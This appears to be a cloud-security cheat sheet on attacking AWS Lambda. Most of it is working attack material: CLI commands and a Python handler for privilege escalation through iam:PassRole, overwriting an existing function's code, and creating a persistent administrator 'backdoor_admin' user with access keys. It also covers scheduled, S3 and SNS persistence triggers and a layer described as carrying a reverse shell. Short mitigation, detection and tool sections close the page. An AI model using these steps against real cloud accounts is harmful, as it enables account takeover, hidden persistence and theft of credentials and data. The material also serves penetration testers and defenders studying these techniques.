🧠 Description

AWS Lambda is a serverless compute service that can be exploited for privilege escalation, persistence, data exfiltration, and computational resource abuse when misconfigured or when combined with other IAM vulnerabilities.

Why Lambda is a Target:
  • Execution Role: Often has elevated IAM permissions
  • Privilege Escalation: PassRole allows assuming higher-privilege roles
  • Persistence: Cron triggers provide scheduled execution
  • Data Access: Can read from S3, DynamoDB, RDS
  • Stealth: Hard to detect malicious Lambda activity

🔍 Enumeration

List Lambda Functions:

# List all functions
aws lambda list-functions --region us-east-1

# Get function details
aws lambda get-function --function-name target-function

# List function versions
aws lambda list-versions-by-function --function-name target-function

# List aliases
aws lambda list-aliases --function-name target-function

Analyze Execution Role:

# Get IAM role for function
aws lambda get-function-configuration --function-name target \
    --query 'Role' --output text

# Assume the role
aws iam simulate-principal-policy \
    --policy-source-arn arn:aws:iam::123456789012:role/lambda-exec-role \
    --action-names "*" --resource-arns "*"

# List attached policies
aws iam list-attached-role-policies --role-name lambda-exec-role

Check Triggers and Event Sources:

# Get event source mappings
aws lambda list-event-source-mappings --function-name target

# Check S3 trigger configuration
aws lambda get-function --function-name target \
    --query 'Environment.Variables'

# Check CloudWatch triggers
aws events list-rules --region us-east-1
aws events list-targets-by-rule --rule lambda-trigger

🔓 Privilege Escalation via Lambda

Technique 1: PassRole + Lambda Execution:

# Create malicious Lambda function
zip -j payload.zip handler.py

aws lambda create-function \
    --function-name privesc-func \
    --runtime python3.9 \
    --handler handler.main \
    --zip-file fileb://payload.zip \
    --role arn:aws:iam::123456789012:role/lambda-exec-role

# Invoke the function
aws lambda invoke --function-name privesc-func output.txt

# Or use event to trigger
aws lambda invoke --function-name privesc-func \
    --payload '{"action": "escalate"}' output.txt

Technique 2: Update Existing Function Code:

# Download original function code
aws lambda get-function --function-name legitimate-func \
    --query 'Code.Location' --output text | xargs curl -o function.zip

# Modify and update
# Create malicious handler.py
zip malicious.zip malicious.py

aws lambda update-function-code \
    --function-name legitimate-func \
    --zip-file fileb://malicious.zip

# Function will execute with its original role

Technique 3: Create Function with Admin Role:

# If you have lambda:CreateFunction + iam:PassRole
# Create function with admin role

aws lambda create-function \
    --function-name admin-func \
    --runtime python3.9 \
    --handler shell.main \
    --zip-file fileb://shell.zip \
    --role arn:aws:iam::123456789012:role/AdministratorAccess

# Invoke to execute code with admin

Lambda Handler for Privilege Escalation:

import boto3
import json

def main(event, context):
    # Get execution role credentials
    sts = boto3.client('sts')
    identity = sts.get_caller_identity()
    
    # Assume admin role
    assume_role = boto3.client('sts')
    response = assume_role.assume_role(
        RoleArn='arn:aws:iam::123456789012:role/AdministratorAccess',
        RoleSessionName='lambda-escalation'
    )
    
    # Use admin credentials
    access_key = response['Credentials']['AccessKeyId']
    secret_key = response['Credentials']['SecretAccessKey']
    session_token = response['Credentials']['SessionToken']
    
    # Exfiltrate or create backdoor
    iam = boto3.client('iam',
        aws_access_key_id=access_key,
        aws_secret_access_key=secret_key,
        aws_session_token=session_token
    )
    
    # Create backdoor user
    iam.create_user(UserName='backdoor_admin')
    iam.attach_user_policy(
        UserName='backdoor_admin',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )
    keys = iam.create_access_key(UserName='backdoor_admin')
    
    return {'status': 'exfiltrated', 'keys': keys}

🎯 Persistence Mechanisms

1. CloudWatch Event Trigger:

# Create recurring event trigger
aws events put-rule --name "DailyLambdaRun" \
    --schedule-expression "rate(1 day)" \
    --state ENABLED

aws lambda add-permission \
    --function-name backdoor-func \
    --action lambda:InvokeFunction \
    --principal events.amazonaws.com \
    --statement-id events-trigger \
    --source-arn arn:aws:events:us-east-1:123456789012:rule/DailyLambdaRun

aws events put-targets \
    --rule DailyLambdaRun \
    --targets Id=1,Arn=arn:aws:lambda:us-east-1:123456789012:function:backdoor-func

2. S3 Trigger Backdoor:

# Create Lambda triggered on S3 upload
aws lambda create-function --function-name s3-monitor ...

aws lambda add-permission \
    --function-name s3-monitor \
    --action lambda:InvokeFunction \
    --principal s3.amazonaws.com \
    --statement-id s3-trigger \
    --source-arn arn:aws:s3:::target-bucket

# S3 bucket notification
aws s3api put-bucket-notification-configuration \
    --bucket target-bucket \
    --notification-configuration '{
      "LambdaFunctionConfigurations": [{
        "LambdaFunctionArn": "arn:aws:lambda:us-east-1:123456789012:function:s3-monitor",
        "Events": ["s3:ObjectCreated:*"]
      }]
    }'

3. SNS Trigger:

# Lambda triggered via SNS
aws sns subscribe \
    --topic-arn arn:aws:sns:us-east-1:123456789012:lambda-trigger \
    --protocol lambda \
    --notification-endpoint arn:aws:lambda:us-east-1:123456789012:function:backdoor-func

# Any SNS message triggers Lambda

📤 Data Exfiltration

Read from Connected Services:

Lambda Environment Variables:

# Check for secrets in environment
aws lambda get-function-configuration --function-name target \
    --query 'Environment.Variables'

# If you can update, inject secrets
aws lambda update-function-configuration \
    --function-name target \
    --environment "Variables={AWS_ACCESS_KEY_ID=...,AWS_SECRET_ACCESS_KEY=...}"

📦 Lambda Layers Exploitation

Create Malicious Layer:

# Create layer with reverse shell
mkdir layer
echo '#!/bin/bash' > layer/python/reverse.py
echo 'import socket,subprocess' >> layer/python/reverse.py
# ... full shell code ...

zip -r malicious-layer.zip layer/

aws lambda publish-layer-version \
    --layer-name backdoor-layer \
    --zip-file fileb://malicious-layer.zip \
    --compatible-runtimes python3.9 python3.10

# Attach to function
aws lambda update-function-configuration \
    --function-name target-func \
    --layers arn:aws:lambda:us-east-1:123456789012:layer:backdoor-layer:1

Inject into Existing Function:

🛡️ Mitigation

✅ Secure Lambda Configuration:
  • Least Privilege: Lambda roles should have minimal permissions
  • No PassRole: Lambda roles should NOT have iam:PassRole
  • VPC Isolation: Run Lambda in VPC with no internet access
  • Encrypt Secrets: Use KMS for environment variables
  • Code Signing: Enable for Lambda functions
  • Disable outdated runtimes: Use latest versions

GuardDuty Coverage:

# Findings to monitor
- Persistence:Lambda/FunctionActivity
- PrivilegeEscalation:Lambda/PassRoleInjection
- DefenseEvasion:Lambda/DeleteActivity
- Exfiltration:Lambda/RegionExfiltration

🔍 Detection

CloudTrail Queries:

CloudWatch Alert Example:

🛠️ Tools

  • pacu: AWS exploitation framework with Lambda modules
  • leaky: Find sensitive data in Lambda environment variables
  • enumerate-iam: Enumerate Lambda execution role permissions

Pacu Lambda Module:

cd pacu
python3 pacu.py
# load 
# run lambda__enum
# run lambda__privesc_scan
Back to Cloud Security